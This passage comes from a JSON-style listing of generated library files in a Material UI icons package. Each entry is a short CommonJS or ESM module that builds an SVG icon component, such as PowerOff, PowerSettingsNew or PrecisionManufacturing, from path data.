18v2c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-2l.48-.48 3.76 3.76c.39.39 1.02.39 1.41 0s.39-1.03 0-1.42\"\n}), 'PowerOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13.66V8.99c0-1-1.01-2-2-1.99V4c0-.55-.45-1-1-1s-1 .45-1 1v3h-3.88l7.63 7.63c.15-.3.25-.63.25-.97M10 4c0-.55-.45-1-1-1s-1 .45-1 1v.88l2 2zm10.15 15.86-7.66-7.66-5.1-5.1-2.56-2.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.63 2.63c-.03.13-.05.27-.05.41v4.66c0 .53.21 1.04.58 1.41L9.5 18v2c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-2l.48-.48 3.76 3.76c.39.39 1.02.39 1.41 0s.39-1.03 0-1.42\"\n}), 'PowerOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 14.49V9c0-1.1-.9-2-2-2V3h-2v4h-3.88l7.69 7.69zM10 3H8v1.88l2 2zm-5.88.84L2.71 5.25l3.34 3.34c-.03.13-.05.27-.05.4v5.51L9.5 18v3h5v-3l.48-.48 4.47 4.47 1.41-1.41z\"\n}), 'PowerOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 14.49V9c0-1.1-.9-2-2-2V3h-2v4h-3.88l7.69 7.69zM10 3H8v1.88l2 2zm-5.88.84L2.71 5.25l3.34 3.34c-.03.13-.05.27-.05.4v5.51L9.5 18v3h5v-3l.48-.48 4.47 4.47 1.41-1.41z\"\n}), 'PowerOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.12 9 16 12.88V9zm-.62 8.17V19h1v-1.83l1.07-1.06L8 10.54v3.11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3H8v1.88l2 2zm6 6v3.88l1.8 1.8.2-.2V9c0-1.1-.9-2-2-2V3h-2v4h-3.88l2 2zM4.12 3.84 2.71 5.25 6 8.54v5.96L9.5 18v3h5v-3l.48-.48 4.47 4.47 1.41-1.41zm8.38 13.33V19h-1v-1.83L8 13.65v-3.11l5.57 5.57z\"\n}, \"1\")], 'PowerOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.12 9 16 12.88V9zm-.62 8.17V19h1v-1.83l1.07-1.06L8 10.54v3.11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3H8v1.88l2 2zm6 6v3.88l1.8 1.8.2-.2V9c0-1.1-.9-2-2-2V3h-2v4h-3.88l2 2zM4.12 3.84 2.71 5.25 6 8.54v5.96L9.5 18v3h5v-3l.48-.48 4.47 4.47 1.41-1.41zm8.38 13.33V19h-1v-1.83L8 13.65v-3.11l5.57 5.57z\"\n}, \"1\")], 'PowerOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 9v4.66l-3.5 3.51V19h-1v-1.83L8 13.65V9zm0-6h-2v4h-4V3H8v4h-.01C6.9 6.99 6 7.89 6 8.98v5.52L9.5 18v3h5v-3l3.5-3.51V9c0-1.1-.9-2-2-2z\"\n}), 'PowerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 9v4.66l-3.5 3.51V19h-1v-1.83L8 13.65V9zm0-6h-2v4h-4V3H8v4h-.01C6.9 6.99 6 7.89 6 8.98v5.52L9.5 18v3h5v-3l3.5-3.51V9c0-1.1-.9-2-2-2z\"\n}), 'PowerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.01 7 16 4c0-.55-.45-1-1-1s-1 .45-1 1v3h-4V4c0-.55-.45-1-1-1s-1 .45-1 1v3h-.01C6.9 7 6 7.9 6 8.99v4.66c0 .53.21 1.04.58 1.41L9.5 18v2c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-2l2.92-2.92c.37-.38.58-.89.58-1.42V8.99C18 7.89 17.11 7 16.01 7\"\n}), 'PowerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.01 7 16 4c0-.55-.45-1-1-1s-1 .45-1 1v3h-4V4c0-.55-.45-1-1-1s-1 .45-1 1v3h-.01C6.9 7 6 7.9 6 8.99v4.66c0 .53.21 1.04.58 1.41L9.5 18v2c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-2l2.92-2.92c.37-.38.58-.89.58-1.42V8.99C18 7.89 17.11 7 16.01 7\"\n}), 'PowerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerSettingsNew.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3h-2v10h2zm4.83 2.17-1.42 1.42C17.99 7.86 19 9.81 19 12c0 3.87-3.13 7-7 7s-7-3.13-7-7c0-2.19 1.01-4.14 2.58-5.42L6.17 5.17C4.23 6.82 3 9.26 3 12c0 4.97 4.03 9 9 9s9-4.03 9-9c0-2.74-1.23-5.18-3.17-6.83\"\n}), 'PowerSettingsNew');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerSettingsNew.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3h-2v10h2zm4.83 2.17-1.42 1.42C17.99 7.86 19 9.81 19 12c0 3.87-3.13 7-7 7s-7-3.13-7-7c0-2.19 1.01-4.14 2.58-5.42L6.17 5.17C4.23 6.82 3 9.26 3 12c0 4.97 4.03 9 9 9s9-4.03 9-9c0-2.74-1.23-5.18-3.17-6.83\"\n}), 'PowerSettingsNew');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerSettingsNewOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3h-2v10h2zm4.83 2.17-1.42 1.42C17.99 7.86 19 9.81 19 12c0 3.87-3.13 7-7 7s-7-3.13-7-7c0-2.19 1.01-4.14 2.58-5.42L6.17 5.17C4.23 6.82 3 9.26 3 12c0 4.97 4.03 9 9 9s9-4.03 9-9c0-2.74-1.23-5.18-3.17-6.83\"\n}), 'PowerSettingsNewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerSettingsNewOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3h-2v10h2zm4.83 2.17-1.42 1.42C17.99 7.86 19 9.81 19 12c0 3.87-3.13 7-7 7s-7-3.13-7-7c0-2.19 1.01-4.14 2.58-5.42L6.17 5.17C4.23 6.82 3 9.26 3 12c0 4.97 4.03 9 9 9s9-4.03 9-9c0-2.74-1.23-5.18-3.17-6.83\"\n}), 'PowerSettingsNewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerSettingsNewRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1m5.14 2.86c-.39.39-.38 1-.01 1.39 1.13 1.2 1.83 2.8 1.87 4.57.09 3.83-3.08 7.13-6.91 7.17C8.18 19.05 5 15.9 5 12c0-1.84.71-3.51 1.87-4.76.37-.39.37-1-.01-1.38-.4-.4-1.05-.39-1.43.02C3.98 7.42 3.07 9.47 3 11.74c-.14 4.88 3.83 9.1 8.71 9.25 5.1.16 9.29-3.93 9.29-9 0-2.37-.92-4.51-2.42-6.11-.38-.41-1.04-.42-1.44-.02\"\n}), 'PowerSettingsNewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerSettingsNewRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1m5.14 2.86c-.39.39-.38 1-.01 1.39 1.13 1.2 1.83 2.8 1.87 4.57.09 3.83-3.08 7.13-6.91 7.17C8.18 19.05 5 15.9 5 12c0-1.84.71-3.51 1.87-4.76.37-.39.37-1-.01-1.38-.4-.4-1.05-.39-1.43.02C3.98 7.42 3.07 9.47 3 11.74c-.14 4.88 3.83 9.1 8.71 9.25 5.1.16 9.29-3.93 9.29-9 0-2.37-.92-4.51-2.42-6.11-.38-.41-1.04-.42-1.44-.02\"\n}), 'PowerSettingsNewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerSettingsNewSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3h-2v10h2zm4.83 2.17-1.42 1.42C17.99 7.86 19 9.81 19 12c0 3.87-3.13 7-7 7s-7-3.13-7-7c0-2.19 1.01-4.14 2.58-5.42L6.17 5.17C4.23 6.82 3 9.26 3 12c0 4.97 4.03 9 9 9s9-4.03 9-9c0-2.74-1.23-5.18-3.17-6.83\"\n}), 'PowerSettingsNewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerSettingsNewSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3h-2v10h2zm4.83 2.17-1.42 1.42C17.99 7.86 19 9.81 19 12c0 3.87-3.13 7-7 7s-7-3.13-7-7c0-2.19 1.01-4.14 2.58-5.42L6.17 5.17C4.23 6.82 3 9.26 3 12c0 4.97 4.03 9 9 9s9-4.03 9-9c0-2.74-1.23-5.18-3.17-6.83\"\n}), 'PowerSettingsNewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerSettingsNewTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3h-2v10h2zm4.83 2.17-1.42 1.42C17.99 7.86 19 9.81 19 12c0 3.87-3.13 7-7 7s-7-3.13-7-7c0-2.19 1.01-4.14 2.58-5.42L6.17 5.17C4.23 6.82 3 9.26 3 12c0 4.97 4.03 9 9 9s9-4.03 9-9c0-2.74-1.23-5.18-3.17-6.83\"\n}), 'PowerSettingsNewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerSettingsNewTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3h-2v10h2zm4.83 2.17-1.42 1.42C17.99 7.86 19 9.81 19 12c0 3.87-3.13 7-7 7s-7-3.13-7-7c0-2.19 1.01-4.14 2.58-5.42L6.17 5.17C4.23 6.82 3 9.26 3 12c0 4.97 4.03 9 9 9s9-4.03 9-9c0-2.74-1.23-5.18-3.17-6.83\"\n}), 'PowerSettingsNewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7V3h-2v4h-4V3H8v4H6v7.5L9.5 18v3h5v-3l3.5-3.51V7z\"\n}), 'PowerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7V3h-2v4h-4V3H8v4H6v7.5L9.5 18v3h5v-3l3.5-3.51V7z\"\n}), 'PowerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8 13.65 3.5 3.52V19h1v-1.83l3.5-3.51V9H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7V3h-2v4h-4V3H8v4h-.01C6.89 7 6 7.89 6 8.98v5.52L9.5 18v3h5v-3l3.5-3.5V9c0-1.1-.9-2-2-2m0 6.66-3.5 3.51V19h-1v-1.83L8 13.65V9h8z\"\n}, \"1\")], 'PowerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8 13.65 3.5 3.52V19h1v-1.83l3.5-3.51V9H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7V3h-2v4h-4V3H8v4h-.01C6.89 7 6 7.89 6 8.98v5.52L9.5 18v3h5v-3l3.5-3.5V9c0-1.1-.9-2-2-2m0 6.66-3.5 3.51V19h-1v-1.83L8 13.65V9h8z\"\n}, \"1\")], 'PowerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrecisionManufacturing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.93 8.21-3.6 1.68L14 7.7V6.3l2.33-2.19 3.6 1.68c.38.18.82.01 1-.36.18-.38.01-.82-.36-1L16.65 2.6c-.38-.18-.83-.1-1.13.2l-1.74 1.6c-.18-.24-.46-.4-.78-.4-.55 0-1 .45-1 1v1H8.82C8.34 4.65 6.98 3.73 5.4 4.07c-1.16.25-2.15 1.25-2.36 2.43-.22 1.32.46 2.47 1.48 3.08L7.08 18H4v3h13v-3h-3.62L8.41 8.77c.17-.24.31-.49.41-.77H12v1c0 .55.45 1 1 1 .32 0 .6-.16.78-.4l1.74 1.6c.3.3.75.38 1.13.2l3.92-1.83c.38-.18.54-.62.36-1-.18-.37-.62-.54-1-.36M6 8c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PrecisionManufacturing');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrecisionManufacturing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.93 8.21-3.6 1.68L14 7.7V6.3l2.33-2.19 3.6 1.68c.38.18.82.01 1-.36.18-.38.01-.82-.36-1L16.65 2.6c-.38-.18-.83-.1-1.13.2l-1.74 1.6c-.18-.24-.46-.4-.78-.4-.55 0-1 .45-1 1v1H8.82C8.34 4.65 6.98 3.73 5.4 4.07c-1.16.25-2.15 1.25-2.36 2.43-.22 1.32.46 2.47 1.48 3.08L7.08 18H4v3h13v-3h-3.62L8.41 8.77c.17-.24.31-.49.41-.77H12v1c0 .55.45 1 1 1 .32 0 .6-.16.78-.4l1.74 1.6c.3.3.75.38 1.13.2l3.92-1.83c.38-.18.54-.62.36-1-.18-.37-.62-.54-1-.36M6 8c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PrecisionManufacturing');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrecisionManufacturingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.93 8.35-3.6 1.68L14 7.7V6.3l2.33-2.33 3.6 1.68c.38.18.82.01 1-.36.18-.38.01-.82-.36-1l-3.92-1.83c-.38-.18-.83-.1-1.13.2L13.78 4.4c-.18-.24-.46-.4-.78-.4-.55 0-1 .45-1 1v1H8.82C8.4 4.84 7.3 4 6 4 4.34 4 3 5.34 3 7c0 1.1.6 2.05 1.48 2.58L7.08 18H6c-1.1 0-2 .9-2 2v1h13v-1c0-1.1-.9-2-2-2h-1.62L8.41 8.77c.17-.24.31-.49.41-.77H12v1c0 .55.45 1 1 1 .32 0 .6-.16.78-.4l1.74 1.74c.3.3.75.38 1.13.2l3.92-1.83c.38-.18.54-.62.36-1-.18-.37-.62-.54-1-.36M6 8c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m5.11 10H9.17l-2.46-8h.1z\"\n}), 'PrecisionManufacturingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrecisionManufacturingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.93 8.35-3.6 1.68L14 7.7V6.3l2.33-2.33 3.6 1.68c.38.18.82.01 1-.36.18-.38.01-.82-.36-1l-3.92-1.83c-.38-.18-.83-.1-1.13.2L13.78 4.4c-.18-.24-.46-.4-.78-.4-.55 0-1 .45-1 1v1H8.82C8.4 4.84 7.3 4 6 4 4.34 4 3 5.34 3 7c0 1.1.6 2.05 1.48 2.58L7.08 18H6c-1.1 0-2 .9-2 2v1h13v-1c0-1.1-.9-2-2-2h-1.62L8.41 8.77c.17-.24.31-.49.41-.77H12v1c0 .55.45 1 1 1 .32 0 .6-.16.78-.4l1.74 1.74c.3.3.75.38 1.13.2l3.92-1.83c.38-.18.54-.62.36-1-.18-.37-.62-.54-1-.36M6 8c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m5.11 10H9.17l-2.46-8h.1z\"\n}), 'PrecisionManufacturingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrecisionManufacturingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.93 8.35-3.6 1.68L14 7.7V6.3l2.33-2.33 3.6 1.68c.38.18.82.01 1-.36.18-.38.01-.82-.36-1l-3.92-1.83c-.38-.18-.83-.1-1.13.2L13.78 4.4c-.18-.24-.46-.4-.78-.4-.55 0-1 .45-1 1v1H8.82C8.34 4.66 6.96 3.75 5.4 4.06c-1.17.23-2.13 1.19-2.35 2.36-.25 1.34.4 2.54 1.43 3.16L7.08 18H5.5c-.83 0-1.5.67-1.5 1.5S4.67 21 5.5 21h10c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5h-2.12L8.41 8.77c.17-.24.31-.49.41-.77H12v1c0 .55.45 1 1 1 .32 0 .6-.16.78-.4l1.74 1.74c.3.3.75.38 1.13.2l3.92-1.83c.38-.18.54-.62.36-1-.18-.37-.62-.54-1-.36M6 8c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PrecisionManufacturingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrecisionManufacturingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.93 8.35-3.6 1.68L14 7.7V6.3l2.33-2.33 3.6 1.68c.38.18.82.01 1-.36.18-.38.01-.82-.36-1l-3.92-1.83c-.38-.18-.83-.1-1.13.2L13.78 4.4c-.18-.24-.46-.4-.78-.4-.55 0-1 .45-1 1v1H8.82C8.34 4.66 6.96 3.75 5.4 4.06c-1.17.23-2.13 1.19-2.35 2.36-.25 1.34.4 2.54 1.43 3.16L7.08 18H5.5c-.83 0-1.5.67-1.5 1.5S4.67 21 5.5 21h10c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5h-2.12L8.41 8.77c.17-.24.31-.49.41-.77H12v1c0 .55.45 1 1 1 .32 0 .6-.16.78-.4l1.74 1.74c.3.3.75.38 1.13.2l3.92-1.83c.38-.18.54-.62.36-1-.18-.37-.62-.54-1-.36M6 8c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PrecisionManufacturingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrecisionManufacturingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 10v-.18l2.01 2.01 5.23-2.44-.63-1.36-4.28 2L14 7.7V6.3l2.33-2.33 4.28 2 .63-1.36-5.23-2.44L14 4.18V4h-2v2H8.82C8.4 4.84 7.3 4 6 4 4.34 4 3 5.34 3 7c0 1.1.6 2.05 1.48 2.58L7.08 18H4v3h13v-3h-3.62L8.41 8.76c.17-.23.31-.48.41-.76H12v2zM6 8c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PrecisionManufacturingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrecisionManufacturingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 10v-.18l2.01 2.01 5.23-2.44-.63-1.36-4.28 2L14 7.7V6.3l2.33-2.33 4.28 2 .63-1.36-5.23-2.44L14 4.18V4h-2v2H8.82C8.4 4.84 7.3 4 6 4 4.34 4 3 5.34 3 7c0 1.1.6 2.05 1.48 2.58L7.08 18H4v3h13v-3h-3.62L8.41 8.76c.17-.23.31-.48.41-.76H12v2zM6 8c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PrecisionManufacturingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrecisionManufacturingTwoTone.js",
